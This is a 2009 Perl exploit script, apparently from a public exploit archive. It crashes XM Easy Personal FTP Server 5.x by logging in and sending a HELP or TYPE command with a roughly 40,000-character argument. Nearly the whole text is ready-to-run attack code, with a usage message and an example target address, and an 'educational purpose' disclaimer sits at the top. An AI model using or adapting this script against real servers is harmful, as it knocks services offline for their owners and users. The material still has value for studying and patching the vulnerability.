XM Easy Personal FTP Server HELP and TYPE command Remote Denial of Service exploit

#!usr/bin/perl -w

#######################################################################################
#   XM Easy Personal FTP Server 5.x allows remote attackers to cause a denial of service
#   via a "HELP" or "TYPE" command with an overly long argument.
#   Refer:
#        												http://secunia.com/advisories/35271/
#        Original advisory avaiable at:	http://securitygyan.com/2009/06/09/xm-easy-personal-ftp-server-help-and-type-command-rdos-exploit/
#		  Product link:	http://www.dxm2008.com/
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Vinod Sharma
#        Email:     vinodsharma[underscore]mimit[at]gmail.com
#        Blog:       http://securitygyan.com/
#        Date:      09th june, 2009
#        
#
###Thanks all the Security Folks###
########################################################################################

use IO::Socket;

my $server_ip=$ARGV[0];
my $server_port=$ARGV[1];
my $username=$ARGV[2];
my $password=$ARGV[3];
my $command=$ARGV[4];
my $buffer=$command ." " ."x41" x 10000 ."
";          

if(($#ARGV + 1)!=5)
{
				print "
Usage: XM_FTP_Serv_Exploit.pl server_ip_address server_port username password command
";
				print "
argument command can have a value HELP or TYPE
";
				print "
Example: XM_FTP_Serv_Exploit.pl 192.16.16.8 21 anonymous 123456 HELP";
				
				exit;
}
				

$socket = new IO::Socket::INET (PeerAddr  =>$server_ip,  PeerPort  => $server_port, Proto => tcp, )   or die "Couldnt connect to Server
";

                              
while (1)
{
	
    $socket->recv($recv_data,1024);
    print "RECIEVED: $recv_data"; 
    
	$send_data1 ="USER ".$username."
";
    $socket->send($send_data1);
    $socket->recv($recv_data1,1024);
    print "RECIEVED: $recv_data1"; 
	   
	   $send_data2 ="PASS ".$password."
";
       $socket->send($send_data2);
	   $socket->recv($recv_data2,1024);
        print "RECIEVED: $recv_data2"; 
		
		
       $socket->send($buffer);
	   print "
Attack is send.....................
";
	   $socket->recv($recv_data3,1024);
        print "RECIEVED: $recv_data3"; 
        
		close $socket;
         
  }